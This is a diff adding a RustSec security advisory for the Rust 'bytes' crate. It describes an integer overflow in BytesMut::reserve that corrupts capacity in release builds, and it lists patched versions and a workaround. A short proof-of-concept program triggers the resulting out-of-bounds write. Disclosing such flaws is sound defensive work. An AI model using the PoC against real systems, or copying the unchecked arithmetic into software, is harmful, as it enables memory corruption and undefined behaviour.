diff --git a/crates/bytes/RUSTSEC-0000-0000.md b/crates/bytes/RUSTSEC-0000-0000.md new file mode 100644 index 0000000000..d4c6a763a2 --- /dev/null +++ b/crates/bytes/RUSTSEC-0000-0000.md @@ -0,0 +1,49 @@ +```toml +[advisory] +id = "RUSTSEC-0000-0000" +package = "bytes" +date = "2026-02-03" +url = "https://github.com/advisories/GHSA-434x-w66g-qw3r" +categories = ["memory-corruption"] +keywords = ["integer-overflow"] +aliases = ["GHSA-434x-w66g-qw3r"] +license = "CC-BY-4.0" + +[versions] +patched = [">= 1.11.1"] +unaffected = ["< 1.2.1"] +``` + +# Integer overflow in `BytesMut::reserve` + +In the unique reclaim path of `BytesMut::reserve`, the condition +```rs +if v_capacity >= new_cap + offset +``` +uses an unchecked addition. When `new_cap + offset` overflows `usize` in release builds, this condition may incorrectly pass, causing `self.cap` to be set to a value that exceeds the actual allocated capacity. Subsequent APIs such as `spare_capacity_mut()` then trust this corrupted `cap` value and may create out-of-bounds slices, leading to UB. + +This behavior is observable in release builds (integer overflow wraps), whereas debug builds panic due to overflow checks. + +## PoC + +```rs +use bytes::*; + +fn main() { + let mut a = BytesMut::from(&b"hello world"[..]); + let mut b = a.split_off(5); + + // Ensure b becomes the unique owner of the backing storage + drop(a); + + // Trigger overflow in new_cap + offset inside reserve + b.reserve(usize::MAX - 6); + + // This call relies on the corrupted cap and may cause UB & HBO + b.put_u8(b'h'); +} +``` + +# Workarounds + +Users of `BytesMut::reserve` are only affected if integer overflow checks are configured to wrap. When integer overflow is configured to panic, this issue does not apply.